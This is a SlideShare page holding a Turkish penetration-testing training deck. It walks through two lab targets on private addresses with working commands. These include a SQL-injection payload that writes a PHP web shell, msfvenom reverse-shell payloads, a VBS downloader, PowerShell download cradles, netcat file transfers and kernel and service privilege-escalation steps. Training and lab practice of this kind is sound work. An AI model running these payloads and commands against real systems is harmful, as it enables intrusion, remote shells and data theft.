Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 1

2,995 views

Published on

Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 1

Published in: Technology
  • Be the first to comment

Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 1

  1. 1. blog.btrisk.com @btrisk /btrisktv /btrisk UYGULAMALI SIZMA TESTİ EĞİTİMİ-1
  2. 2. BTRİSK HAKKINDA TANIŞMA Pentest & BT Denetimi ISO27001 Danışmanlık Hizmetleri BG Operasyon Hizmetleri
  3. 3. Göreviniz, Deneyiminiz ve Eğitimden Beklentileriniz Nelerdir? TANIŞMA
  4. 4. TEMEL SIZMA TESTİ METODU Bilgi Toplama İstismar PAYLOAD'u Gönderme Girdi Noktalarının Tespiti SHELL Erişimi Sağlama ve Dosya Yükleme Parola Saldırısı Gerçekleştirme Yetki Yükseltme ve Ele Geçirilen Sistemi Saldırı Platformu Olarak Kullanmaya Başlama
  5. 5. HACKING'İN ALTIN KURALI BİR HEDEFE ANCAK GİRDİ NOKTALARINDAN SALDIRABİLİRSİNİZ
  6. 6. SALDIRI (GİRDİ) NOKTALARI • İnsan • Tesis • Ağ • Sistem • Uygulama (Servis) Eğitimimizin odağını oluşturacaklar İstemci taraflı saldırılarla ilgili dolaylı olarak değineceğiz
  7. 7. METOD VE ARAÇLAR (Uygulamalı Giriş)
  8. 8. İÇERİK • Kali Linux Kurulumu • Sistem-1 (Senaryo) • Sistem-2 (Senaryo) • Örnek Senaryolarda Kullanılan Araçlar • Olası Sorular ve İlgili Bölümler
  9. 9. ÖNEMLİ UYARI • Eğitimin bu bölümünde 2 farklı sisteme yönelik saldırı senaryoları izlenecektir. • Senaryolar sırasında ilk defa karşılaşıyor olabileceğiniz ve tam olarak nasıl çalıştığını bu noktada anlayamayabileceğiniz uygulamaları gerçekleştireceksiniz. • PANİK OLMAYIN !!! • Bu uygulamalara teorik bilgi aktarılırken referans verilecek, bu şekilde teorik bilginin sıkıcılığı azalırken uygulamalarda oluşan sorularınız yanıt bulmaya başlayacaktır.
  10. 10. ÖN ADIMLAR • KALI Linux kurulumu • Sistem-1 OVF imajının sanallaştırma uygulamasına import edilmesi ve başlatılması • Sistem-2 OVF imajının sanallaştırma uygulamasına import edilmesi ve başlatılması (bu imaj için eğitmenler tarafından bir uygulamanın başlatılması gerekecektir)
  11. 11. KALİ LİNUX KURULUMU • Kali Linux işletim sisteminin kurulumu herhangi bir Linux işletim sisteminin kurulumundan farksızdır. • İşletim sistemi ISO imajı "www.kali.org" sitesinden indirilir. • Kullandığınız sanallaştırma uygulaması ile yeni bir sanal makine oluşturulur. • Disk imajı olarak indirilen ISO imajı seçilir ve bilgisayar CD'den boot edilmiş gibi işletim sistemi başlatılır. İsterseniz Kali'yi bu şekilde (Live olarak) de kullanabilirsiniz. Ancak bir diske kurulum yapmadığınız takdirde dosya sistemine yazdığınız veriler kalıcı olmayacaktır.
  12. 12. KALİ LİNUX KURULUMU • Kurulum sırasında ana hatları ile aşağıdaki işlemler gerçekleştirilir: • (Sanal diskin) partition tablosunun oluşturulması ve belirlenen partitionların dosya sistemlerinin formatlanması. • (İşletim sistemi kernel'ı da dahil) sistem dosyalarının oluşturulan sanal diske kopyalanması ve kurulum sırasında belirlenen ayarların diske yazılması. • Bootloader uygulamasının (bileşenlerinin) partition tablosuna ve sanal diske yazılması.
  13. 13. KALİ LİNUX KURULUMU • İşletim sistemlerinin başlatılma süreci ise ana hatları ile şu şekildedir: • Bilgisayar BIOS sistemi diskin ilk sektöründen başlayan partition tablosunu okur. • Partition tablosunda yer alan Master Boot Record (MBR) içinde bulunan Bootloader kodu devreye girer. • Bootloader kodu işletim sistemi kernel'ını hafızaya yükler. • Kernel diskin dosya sistemini hayata geçirir ve "init script"lerini işletir. Bu aşama tamamlandığında işletim sistemi ayaktadır.
  14. 14. KALİ LİNUX KURULUMU İşletim sisteminin kurulumu için Kali'nin ISO imaj dosyasını seçiyoruz.
  15. 15. KALİ LİNUX KURULUMU Kolay bir kurulum için graphical install seçeneğini seçiyoruz. Kurulum yapmak istemeseydik ve sadece live olarak Kali'yi kullanmak isteseydik bu opsiyon ile işletim sistemini başlatabilirdik.
  16. 16. KALİ LİNUX KURULUMU
  17. 17. KALİ LİNUX KURULUMU Gerçek bir ortamda şifreninin bu şekilde belirlenmesi önerilmez. Ancak Kali öntanımlı olarak herhangi bir servisi açık biçimde kurulmaz, hatta yeni bir servis kurduğunuzda bu servisin otomatik olarak hayata geçirilmesini engelleyecek biçimde özelleştirilmiştir. Bu yüzden parolayı unutmaktansa "toor" olarak belirlemek tercih edilebilir.
  18. 18. KALİ LİNUX KURULUMU
  19. 19. KALİ LİNUX KURULUMU Kurulumumuz tek partition (yani dosya sistemi) barındıracak bir disk oluşturacak. Operasyonel işletim sistemlerinde sistem dosyaları ve sürekli büyüyen dosyaları farklı partition'larda barındırmak isteyebilirsiniz.
  20. 20. KALİ LİNUX KURULUMU
  21. 21. KALİ LİNUX KURULUMU
  22. 22. KALİ LİNUX KURULUMU
  23. 23. KALİ LİNUX KURULUMU
  24. 24. KALİ LİNUX KURULUMU Bootloader'ın (GRUB) tek diskimiz olan /dev/sda cihazına yazılması önemli. Burada hata yaparsak bootloader devreye giremeyecek, dolayısıyla işletim sistemi de ayağa kaldırılamayacaktır.
  25. 25. KALİ LİNUX KURULUMU
  26. 26. KALİ LİNUX KURULUMU Çözünürlük Klavye Ayarları
  27. 27. KALİ LİNUX KURULUMU 1 2 3 Host bilgisayarınızla Kali Linux guest bilgisayarınız arasında sürükle bırak kopyalama yapabilmek ve clipboard'u kullanabilmek için.
  28. 28. SİSTEM – 1
  29. 29. SİSTEM – 1 (IMAJI IMPORT ETME) • Sistem-1'i OVF dosyasından sanallaştırma uygulamanıza import ediniz.
  30. 30. OVF dosyasından sistem imajımızı import etmek için mevcut bir sanal makineyi açarmış gibi OVF dosyasını seçiyoruz. SİSTEM – 1 (IMAJI IMPORT ETME)
  31. 31. İmajı import etmek için Import düğmesine basıyoruz. SİSTEM – 1 (IMAJI IMPORT ETME)
  32. 32. SİSTEM – 1 (IMAJI IMPORT ETME)
  33. 33. SİSTEM – 1 (SENARYO) Kali bilgisayarımızın IP adresi
  34. 34. SİSTEM – 1 (SENARYO) # netdiscover -r 192.168.163.0/24 Bizim ortamımızda diğer aktif sunucunun 137 adresli sunucu olduğunu ARP taraması ile tespit ettik.
  35. 35. SİSTEM – 1 (SENARYO) # nmap -A 192.168.163.137 Port taramamız sonucunda sunucu üzerinde bir web sunucusu bulunduğunu tespit ediyoruz.
  36. 36. SİSTEM – 1 (SENARYO) Hedef sunucumuz üzerinde öntanımlı kurulumda bırakılmış gibi görünen bir CMS uygulaması var. CMS uygulamasının adı nmap taramasında da görüldüğü gibi Baby Gekko.
  37. 37. SİSTEM – 1 (SENARYO) # searchsploit baby gekko
  38. 38. SİSTEM – 1 (SENARYO) Uygulamanın versiyonunu bulma çalışmaları.
  39. 39. SİSTEM – 1 (SENARYO) # nikto -h 192.168.163.137
  40. 40. SİSTEM – 1 (SENARYO)
  41. 41. SİSTEM – 1 (SENARYO) # dirb http://192.168.163.137
  42. 42. SİSTEM – 1 (SENARYO) Uygulama versiyonunu bulabilmek için açıklık barındıran uygulamanın bir kopyasını indirerek içinde versiyon bilgisini barındıran bir dosya arayabiliriz. Eğer bulabilirsek daha sonra bu dosyaya anonim olarak erişebilir miyiz diye inceleyebiliriz.
  43. 43. SİSTEM – 1 (SENARYO)
  44. 44. SİSTEM – 1 (SENARYO) # grep -r -i "vers" . -r: Recursive -i: Ignore case
  45. 45. SİSTEM – 1 (SENARYO) Admin olmadan versiyonu görmemiz zor görünüyor.
  46. 46. SİSTEM – 1 (SENARYO) Stored XSS uygulama yöneticisinin oturum parametresini çalmamıza yarayabilir. Ancak bu saldırı için sabırlı olmamız gerekir. Bu açıklıkla ilgili özet bilgi pek açıklayıcı değil. Detaylı bilgi için inceleyelim.
  47. 47. SİSTEM – 1 (SENARYO) Bu versiyonda SQL Injection, Local File Inclusion ve XSS açıklıkları var. LFI'ı denediğimizde uygulama hata alıyor. Bu nedenle SQLi açıklığını deneyelim. Ancak SQLi için Admin erişimine ihtiyacımız var, çünkü SQLi açıklıkları bu kullanıcının erişebildiği sayfalarda mevcut.
  48. 48. SİSTEM – 1 (SENARYO) Parola listesi oluşturmak için kullandığımız araç: # cewl http://192.168.163.137
  49. 49. SİSTEM – 1 (SENARYO) cewl ile web sitesinin ilk sayfasında bulunan kelimelerden bir sözlük dosyası oluşturduk. Ancak bu sözlükteki kelimelerden farklı bir sözlük türetmek için John the Ripper programının rule özelliğinden faydalanabiliriz. JTR ile birlikte gelen konfigürasyon dosyasına ek olarak KoreLogic tarafından geliştirilmiş olan kuralları kullanabiliriz.
  50. 50. SİSTEM – 1 (SENARYO) KoreLogic'ten aldığımız kuralı john.conf konfigürasyon dosyasına aktarıyoruz.
  51. 51. SİSTEM – 1 (SENARYO) # john --wordlist=passlist.txt --rule=KoreLogicRulesAppendJustNumbers -- stdout > mutated-wordlist.txt
  52. 52. SİSTEM – 1 (SENARYO) Parola kırma saldırısı için bir attack proxy kullanacağız.
  53. 53. SİSTEM – 1 (SENARYO)
  54. 54. SİSTEM – 1 (SENARYO) Trafiğimizi attack proxy'den geçirmek için tarayıcı ayarımızı düzenliyoruz.
  55. 55. SİSTEM – 1 (SENARYO) Kaba kuvvet saldırısı yapacağımız parametreyi seçiyoruz.
  56. 56. SİSTEM – 1 (SENARYO) Sözlük dosyası olarak yeni oluşturduğumuz dosyayı seçiyoruz.
  57. 57. SİSTEM – 1 (SENARYO) Yanıtları HTTP Response Code'a göre tersten sıraladığımızda kırılan parolanın "btrisk" olduğunu görebiliriz.
  58. 58. SİSTEM – 1 (SENARYO) http://[host]/admin/index.php?app=users&ajax=1&action=search&keyword=1%27 %29%20UNION%20SELECT%201,2,3,4,5,6,7,8,%27%3C?%20phpinfo%28%29;%20? %3E%27%20INTO%20OUTFILE%20%27/tmp/.class.php%27%20--%202%20
  59. 59. SİSTEM – 1 (SENARYO) http://[host]/admin/index.php?app=users&ajax=1&action=search&keyword=1') UNION SELECT 1,2,3,4,5,6,7,8,'<? phpinfo(); ?>' INTO OUTFILE '/tmp/.class.php' -- 2
  60. 60. SİSTEM – 1 (SENARYO) http://192.168.163.137/admin/index.php?app=users&ajax=1&action=search&keyw ord=1') UNION SELECT 1,2,3,4,5,6,7,8 ,'<?php phpinfo(); ?>' INTO OUTFILE '/var/www/html/test.php' -- 2 Bizim ortamımızda PHP kodunun çalışabilmesi için <? sonrasında bir de "php" ifadesini eklemek durumunda kaldık.
  61. 61. SİSTEM – 1 (SENARYO)
  62. 62. SİSTEM – 1 (SENARYO)
  63. 63. SİSTEM – 1 (SENARYO) http://192.168.163.137/admin/index.php?app=users&ajax=1&action=search&keyw ord=1') UNION SELECT 1,2,3,4,5,6,7,8 , "<?php System($_REQUEST['cmd']); ?>" INTO OUTFILE '/var/www/html/cmd.php' -- 2 Bu defa daha işe yarar bir payload ile bir php dosyası oluşturalım
  64. 64. SİSTEM – 1 (SENARYO) BİR SONRAKİ ADIM Bize shell açacak bir payload'u hedef bilgisayar üzerine atmak ve bu kodu çalıştırmak olacak. cmd.php uygulaması sayesinde hedef bilgisayar üzerinde sistem komutu çalıştırmayı başardık.
  65. 65. SİSTEM – 1 (SENARYO) # msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.163.138 LPORT=4444 -f raw > payload.txt msfvenom ile bir reverse meterpreter oturumu başlatacak olan PHP payload'u üretiyoruz.
  66. 66. SİSTEM – 1 (SENARYO) http://192.168.163.137/cmd.php?cmd=nc -vv -l 1234 > reverse.php Hedef bilgisayar üzerinde (bir linux sunucu olduğu için) netcat ile TCP 1234 portundan dinleyecek ve gelen veriyi "reverse.php" dosyasına aktaracak olan sistem komutunu çalıştırıyoruz.
  67. 67. SİSTEM – 1 (SENARYO) # nc -vv 192.168.163.137 1234 < payload.txt Saldırı bilgisayarımızdan oluşturduğumu PHP payload'unu hedef bilgisayara aktarıyoruz.
  68. 68. SİSTEM – 1 (SENARYO) # msfconsole Hedef bilgisayardan gelecek olan bağlantıyı ele almak üzere msfconsole'u başlatıyoruz.
  69. 69. SİSTEM – 1 (SENARYO) use exploit/multi/handler set PAYLOAD php/meterpreter/reverse_tcp set LHOST 192.168.163.138 set LPORT 4444 run
  70. 70. SİSTEM – 1 (SENARYO) http://192.168.163.137/reverse.php Hedef bilgisayar üzerinde netcat ile aktardığımız payload script'ini çalıştırıyoruz.
  71. 71. SİSTEM – 1 (SENARYO) Handler'ımız hedeften gelen bağlantıyı ele aldı ve meterpreter oturumumuz başlatıldı.
  72. 72. SİSTEM – 1 (SENARYO) shell whoami uname -a cat /etc/*-release Ubuntu 14.04 Kernel 3.13.0-32-generic Yetki yükseltme adımı için bilgi toplamaya başlıyoruz.
  73. 73. SİSTEM – 1 (SENARYO) Hedef bilgisayarın işletim sistemi kernel versiyonuna uygun bir Local Privilege Escalation exploit'u arayabiliriz.
  74. 74. SİSTEM – 1 (SENARYO) Bulduğumuz kaynaklar içinde bazen exploit kaynak koduna bazen de derlenmiş exploit koduna rastlayabiliriz. Derleme işleminin en sağlıklı yapılabileceği sistem hedef sistemdir, ancak her zaman hedef sistem üzerinde bir derleyici bulamayabiliriz. Bu gibi durumlarda derlenmiş bir exploit bizim için daha pratik olacaktır.
  75. 75. SİSTEM – 1 (SENARYO) Derlenmiş exploit kodunu barındıran bir github kütüphanesinden 64 bitlik kernel exploit'umuzu indirelim.
  76. 76. SİSTEM – 1 (SENARYO) exit (shell'den ayrılıyoruz) [Meterpreter] upload ./Downloads/ofs_64 shell [Shell] cd /tmp ls -al ofs_64 chmod +x ofs_64 ./ofs_64 # id YETKİ YÜKSELTME – PRIVILEGE ESCALATION
  77. 77. SİSTEM – 1 (SENARYO) ÖZETLE; • Port taraması ile tespit ettiğimiz web uygulamasının açıklık barındıran bir uygulama olduğunu öğrendik. • Uygulamanın admin logon sayfasını tespit ettik ve admin şifresini sözlük saldırısı ile kırdık. • Admin profili ile SQLi saldırısı gerçekleştirerek hedef sisteme sistem komutları çalıştırabilen bir PHP dosyası yazdık. • "msfvenom" ile bir PHP reverse meterpreter payload'u oluşturduk ve bu dosyayı hedef sisteme attık.
  78. 78. SİSTEM – 1 (SENARYO) ÖZETLE (devamı); • "msfconsole" uygulamasının exploit/multi/handler modülü ile reverse bağlantıyı karşıladık ve meterpreter oturumu başlattık. Sağladığımız erişim "www-data" adlı kullanıcı haklarıyla sağlanmıştı. • Yetki yükseltme için bilgi topladık ve bir local privilege exploit kullanarak "root" kullanıcısı olduk. Not: Normalde yetki yükseltme aşamasına hemen geçmeden "www-data" kullanıcısının dahil olduğu grupları ("id" komutu ile) ve sudo haklarını ("sudo –l" komutu ile) kontrol etmemiz gerekir. Belki de zaten yüksek erişim haklarına sahibizdir.
  79. 79. SİSTEM – 2
  80. 80. SİSTEM – 2 (SENARYO) # netdiscover -r 192.168.163.0/24 BU ADIMDAN SONRA EĞİTMENİNİZİN SİSTEMİNİZDE BİR İŞLEM GERÇEKLEŞTİRMESİ GEREKLİDİR !!!
  81. 81. SİSTEM – 2 (SENARYO) # nmap -A 192.168.163.140 Nmap'in işletim sistemi tahmini
  82. 82. SİSTEM – 2 (SENARYO) Netcat ile TCP 888 portuna bağlandıktan (TCP handshake tamamlandıktan) hemen sonra sunucu bağlantıyı sonlandırıyor.
  83. 83. SİSTEM – 2 (SENARYO) Bilinen portlar incelemesi.
  84. 84. SİSTEM – 2 (SENARYO) # nmap -sU -sV --top-ports 20 192.168.163.140 UDP port tarama Nmap SNMP community string tespiti de yapmış
  85. 85. SİSTEM – 2 (SENARYO) Hedef bilgisayarımızın Windows olduğundan şüpheleniyoruz, ancak Netbios taraması herhangi bir sonuç döndürmedi. Neden?..
  86. 86. SİSTEM – 2 (SENARYO) # snmp-check -c public 192.168.163.140 Netbios taramasından sunucu adını öğrenemesek de SNMP sorguları ile sunucunun adını elde edebildik.
  87. 87. SİSTEM – 2 (SENARYO) Kullanıcı hesaplarını elde edebildik. Ancak uzaktan saldırı için şu aşamada bir işimize yaramıyor. Neden?..
  88. 88. SİSTEM – 2 (SENARYO) Hedef sunucumuz 92.222.129.112 IP adresli başka bir sunucuyla TCP 80 portundan iletişim kurmuş görünüyor.
  89. 89. SİSTEM – 2 (SENARYO) # whois 92.222.129.112 Whois sorgusunda 92.222.129.112 IP adresinin de içinde bulunduğu IP aralığının sahibinin ALLPlayer olarak geçiyor. Artur bir kişi ismine benziyor.
  90. 90. SİSTEM – 2 (SENARYO)
  91. 91. SİSTEM – 2 (SENARYO) Çalışan proses'lerden birisinin adı ALLMediaServer olarak geçiyor.
  92. 92. SİSTEM – 2 (SENARYO) Zayıf bir ilişki de olsa TCP 888 portu ile ilgili bir ifade ürünle ilgili bir sayfada geçiyor.
  93. 93. SİSTEM – 2 (SENARYO) TCP 888 portunda çalışan servisin ALLMedia Server ile ilgili olduğuna dair şüphemiz güçlendiği için bu uygulamayla ilgili istismar kodu var mı arıyoruz. Birinci istismar kodunu içinde bulunduğumuz dizine kopyalıyoruz.
  94. 94. SİSTEM – 2 (SENARYO) Windows 7 üzerinde çalışan bir istismar kodu. Bizim işletim sistemi tahminimizle de uyumlu.
  95. 95. SİSTEM – 2 (SENARYO) İstismar kodu içinde bulunan shell code bir reverse tcp kodu, ancak bizim ihtiyacımıza uygun değil. Çünkü bizim istediğimiz adrese dönmesi lazım.
  96. 96. SİSTEM – 2 (SENARYO) Reverse TCP bağlantısının kurulması için bilgisayarımızın IP adresini kontrol edelim.
  97. 97. SİSTEM – 2 (SENARYO) # msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=192.168.163.138 LPORT=4444 -e x86/shikata_ga_nai -b 'x00' -i 3 -f python > payload.txt Python reverse tcp shell payload'umuzu oluşturuyoruz. Dönüş yapacağımız TCP port'u 4444
  98. 98. SİSTEM – 2 (SENARYO) Bizim oluşturduğumuz shell code.
  99. 99. SİSTEM – 2 (SENARYO) Kendi shellcode'umuzu yerleştirdikten sonra istismar kodundaki yerel değişken isimlerinden dolayı taranmış alanda da gösterilen düzenlemeyi yapıyoruz.
  100. 100. SİSTEM – 2 (SENARYO) ALLMedia Server olduğundan şüphelendiğimiz servisi exploit etmeye hazırız. Dönen shell'i karşılamak için Netcat ile TCP 4444 portundan dinlemeye başlıyoruz.
  101. 101. SİSTEM – 2 (SENARYO) İstismar kodumuzu çalıştırdığımızda reverse shell'imizi alıyoruz. "whoami" komutu ile bağlandığımız kullanıcı kodunu sorguladığımızda "test" adlı kullanıcıyla sisteme bağlandığımızı görüyoruz.
  102. 102. SİSTEM – 2 (SENARYO) whoami /groups komutu ile kullanıcımızın dahil olduğu grupları listelediğimizde Administrators grubuna dahil olduğumuzu görüyoruz. Bu oldukça iyi, ancak Windows işletim sisteminde en yüksek erişim hakkına sahip kullanıcı System kullanıcısı.
  103. 103. SİSTEM – 2 (SENARYO) wmic service get name,displayname,pathname,startmode Windows bilgisayarlarda yetki yükseltmek için faydalanabileceğimiz zayıflıklardan birisi de servis kodlarının erişim kontrol zayıflığıdır. Bunun için önce "wmic service get" komutu ile tüm servisleri listeleyelim.
  104. 104. SİSTEM – 2 (SENARYO) wmic service get name,displayname,pathname,startmode | findstr /i /v "windows" Hedefimizi biraz daha daraltmak için içinde Windows geçmeyen satırları arayalım. C:Windows dizini dışında bulunan çalıştırılabilir kodların erişim hakları daha gevşek olabilir düşüncesi ile böyle bir inceleme yapabiliriz.
  105. 105. SİSTEM – 2 (SENARYO) cacls C:btrisk Kullanıcımızın da içinde olduğu Administrators grubunun C:btrisk dizinine Full erişim hakkı var.
  106. 106. Hedef sistem üzerinde daha rahat işlem yapabilmek için dosya aktarabilmemiz lazım. Windows ortamında wget benzeri bir fonksiyonaliteyi bu vb script ile oluşturabiliriz. SİSTEM – 2 (SENARYO) echo strUrl = WScript.Arguments.Item(0) > wget.vbs echo StrFile = WScript.Arguments.Item(1) >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs echo Err.Clear >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs echo http.Open "GET", strURL, False >> wget.vbs echo http.Send >> wget.vbs echo varByteArray = http.ResponseBody >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs echo strData = "" >> wget.vbs echo strBuffer = "" >> wget.vbs echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs echo Next >> wget.vbs echo ts.Close >> wget.vbs
  107. 107. SİSTEM – 2 (SENARYO) Script'imizi yazarken erişim hakkı problemi yaşamamak için C:WindowsTemp dizinine geçiyoruz. Script'i kopyala yapıştır işlemiyle shell'imize yazabiliriz. Shell erişimimiz üzerinden hedef bilgisayar üzerinde wget.vbs script'imiz oluşacaktır.
  108. 108. SİSTEM – 2 (SENARYO) Servis exe'sini ezmek ve bu exe'yi harekete geçirerek hedef sisteme System kullanıcı hakları ile bağlanmak amacıyla servis exe türünde bir payload oluşturuyoruz. Bu payload bilgisayarımıza TCP 5555 portundan bağlanacak. # msfvenom --platform windows -p windows/x64/shell_reverse_tcp LHOST=192.168.163.138 LPORT=5555 -f exe-service -o service.exe # python -m SimpleHTTPServer 80 SimpleHTTPServer Python modülü ile basit bir HTTP servisini içinde bulunduğumuz dizin içinde başlatıyoruz.
  109. 109. SİSTEM – 2 (SENARYO) cscript wget.vbs http://192.168.163.138/service.exe service.exe wget.vbs script'i ile servis exe'mizi hedef bilgisayara çekiyoruz. Daha sonra yazma hakkımız olduğu için bu dosya ile asıl servis kodunu eziyoruz.
  110. 110. SİSTEM – 2 (SENARYO) Servis tekrar başlatıldığında System kullanıcı hakları ile açılacak shell'i beklemek amacıyla TCP 5555 portundan dinlemeye başlıyoruz.
  111. 111. SİSTEM – 2 (SENARYO) net stop btrservice net start btrservice Btrservice servisimizi tekrar başlatarak reverse shell bağlantısının kurulmasını sağlıyoruz.
  112. 112. SİSTEM – 2 (SENARYO) YETKİ YÜKSELTME – PRIVILEGE ESCALATION
  113. 113. SİSTEM – 2 (SENARYO) Yetki Yükseltme Alternatif Senaryo • Az önceki örneğimizde hedef bilgisayarımızdaki bir yetkilendirme konfigürasyon hatasından faydalandık. • Bu örneğimizde ise hedef bilgisayarda bir lokal exploit kullanarak yetki yükseltme adımını gerçekleştireceğiz.
  114. 114. Bu script'in kodunu GitHub'ın web sitesinden "raw" düğmesine sağ klikleyerek kodu indirebilirsiniz Hedef sistem üzerinde SYSTEM haklarına geçiş yapabilmek için sistemin eksik yamalarını inceleyeceğiz. Bunun için hedef sunucudan alacağımız "systeminfo" komutunun sonuçlarını Windows Exploit Suggester script'i ile analiz edeceğiz. SİSTEM – 2 (SENARYO) Yetki Yükseltme Alternatif Senaryo
  115. 115. Windows-exploit-suggester.py script'imize çalıştırma izni verdikten sonra "--update" opsiyonuyla çalıştırıyoruz. Bu işlem sayesinde script'imiz güncel güncelleme listesini bir XLS dosyası olarak indiriyor. ./windows-exploit-suggester.py --update SİSTEM – 2 (SENARYO) Yetki Yükseltme Alternatif Senaryo
  116. 116. Küçük bir ayrıntı ancak Python script'imiz bir XLS dosyayı girdi olarak alacağı için XLRD python paketinin yüklenmesi gerekiyor. pip install xlrd SİSTEM – 2 (SENARYO) Yetki Yükseltme Alternatif Senaryo
  117. 117. SİSTEM – 2 (SENARYO) locate nc.exe Hedef işletim sistemi Windows olduğunda Linux'daki kadar zengin upload ve download imkanlarına sahip değiliz. Hedef sisteme upload yapabilmek için daha önce bir VBS script'i oluşturduk, ayrıca Windows işletim sistemi bize Powershell, BITS gibi ek imkanlar da sunuyor upload işlemi için. Ancak Windows'dan saldırı platformumuza download için imkanlarımız daha kısıtlı. Bu kısıtı aşabilmekve bu sistemden (saldırı sistemimize) download kabiliyetimizi artırmak için hedef sisteme NetCat'i yükleyebiliriz. Yetki Yükseltme Alternatif Senaryo
  118. 118. SİSTEM – 2 (SENARYO) python -m SimpleHTTPServer 80 NetCat'i yüklemek için basit HTTP sunucumuzu başlatalım. Yetki Yükseltme Alternatif Senaryo
  119. 119. SİSTEM – 2 (SENARYO) powershell -exec bypass -c "(New-Object System.Net.WebClient).DownloadFile('http://192.168.152.192/ nc.exe','C:WindowsTempnc.exe')"; Bu PowerShell oneliner ile hedef sisteme bir dosyayı HTTP üzerinden indirebiliriz. PowerShell son derece güçlü bir araç ve oldukça esnek. Bu nedenle gerçek hayat senaryolarında izlenme ihtimali de yüksek olduğundan Red Team senaryolarında daha önce oluşturduğumuz VBS script'inin tercih edildiği durumlar da olabilir. Yetki Yükseltme Alternatif Senaryo
  120. 120. SİSTEM – 2 (SENARYO) Yetki Yükseltme Alternatif Senaryo
  121. 121. SİSTEM – 2 (SENARYO) systeminfo > C:WindowsTempsysteminfo.txt "systeminfo" komutu ile hedef bilgisayar hakkındaki temel bilgiler (işletim sistemi versiyon ve mimarisi gibi) ile birlikte yüklenmiş olan yamaların (hotfix'ler) da listesini alabiliriz. Yetki Yükseltme Alternatif Senaryo
  122. 122. SİSTEM – 2 (SENARYO) nc -vv -lp 8888 > systeminfo.txt Bir Linux sistemi olan Sistem-1 senaryosunda NetCat'i hedef sisteme dosya aktarmak için bir PHP uygulaması aracılığı ile kullanmıştık. Bu defa tam tersi yönde dosya aktarımı için NetCat'i kullanacağız. Bu imkan sayesinde hedef sistem üzerinde çalıştırdığımız "systeminfo" komutunun çıktısını dosya olarak indireceğiz. Yetki Yükseltme Alternatif Senaryo
  123. 123. SİSTEM – 2 (SENARYO) nc -vv -w 10 192.168.152.192 8888 < systeminfo.txt Hedef Windows sistemi üzerinde çalıştıracağımız bu komutla dosyayı saldırı sistemimiz üzerinde dinlemekte olduğumuz TCP 8888 portuna iletiyoruz. Bu kullanımda "-w 10" parametresi bağlantının 10 sn. sonra sonlandırılması için kullanılmaktadır. Eğer aktarım süreniz daha uzunsa bu süreyi uzatmalısınız. Yetki Yükseltme Alternatif Senaryo
  124. 124. SİSTEM – 2 (SENARYO) Saldırı sistemimizde gelen dosyayı kaydettik ve Windows'da çalışan NetCat uygulaması bağlantıyı sonlandırdığında dinleyen NetCat'de çalışmayı sonlandırdı. Yetki Yükseltme Alternatif Senaryo
  125. 125. SİSTEM – 2 (SENARYO) ./windows-exploit-suggester.py -i systeminfo.txt -d 2019-01-11-mssb.xls > winexploits.txt Daha önce indirdiğimiz exploit suggester uygulamamızla Microsoft'tan yeni güncellediğimiz yama listesini ve hedef sistem üzerinde mevcut yamaları karşılaştıralım. Bu işlemi gözle daha yapabileceğimizi unutmayalım. Yetki Yükseltme Alternatif Senaryo
  126. 126. SİSTEM – 2 (SENARYO) Exploit Suggester script'inin çıktılarını inceleyerek potansiyel lokal exploit'leri araştırıp, bulup hedef sistem üzerinde deneyebiliriz. Başında [E] olan satırlar Exploit-Db'de mevcut lokal exploit'leri, [M] olan satırlar Metasploit'te mevcut olan lokal exploit'leri belirtmek için kullanılmış. Ancak farklı kaynaklardan da lokal exploit bulmak mümkün. Yetki Yükseltme Alternatif Senaryo
  127. 127. SİSTEM – 2 (SENARYO) Bu adımda pek çok exploit tek tek denenebilir, ancak kararlı bir lokal exploit'i daha önceden deneyimlemişseniz elbette ilk denemek isteyeceğiniz exploit bu olabilir. Bu örnekte pek çok saldırıda da kullanıldığını bildiğimiz MS14-058 lokal exploit'ini kullanacağız. Bu exploit'in Metasploit modülü de var, ancak biz bu örnekte farklı bir exploit kodunu internetten bularak kullanacağız. Yetki Yükseltme Alternatif Senaryo
  128. 128. SİSTEM – 2 (SENARYO) MS14-058 için ekranda görülen linkli RAR paketini kullanabiliriz. Yetki Yükseltme Alternatif Senaryo
  129. 129. SİSTEM – 2 (SENARYO) Yetki Yükseltme Alternatif Senaryo
  130. 130. SİSTEM – 2 (SENARYO) Hedef sistemimiz 64 bit'lik bir işletim sistemi olduğu için Win64.exe dosyasını /root/ dizinine çıkaralım. Yetki Yükseltme Alternatif Senaryo
  131. 131. SİSTEM – 2 (SENARYO) Win64.exe dosyasının içinde bulunduğu /root/ dizininin içinden basit HTTP servisimizi başlatalım. Yetki Yükseltme Alternatif Senaryo
  132. 132. SİSTEM – 2 (SENARYO) powershell -exec bypass -c "(New-Object System.Net.WebClient).DownloadFile('http://192.168.152.192/ Win64.exe','C:WindowsTempWin64.exe')"; Yetki Yükseltme Alternatif Senaryo
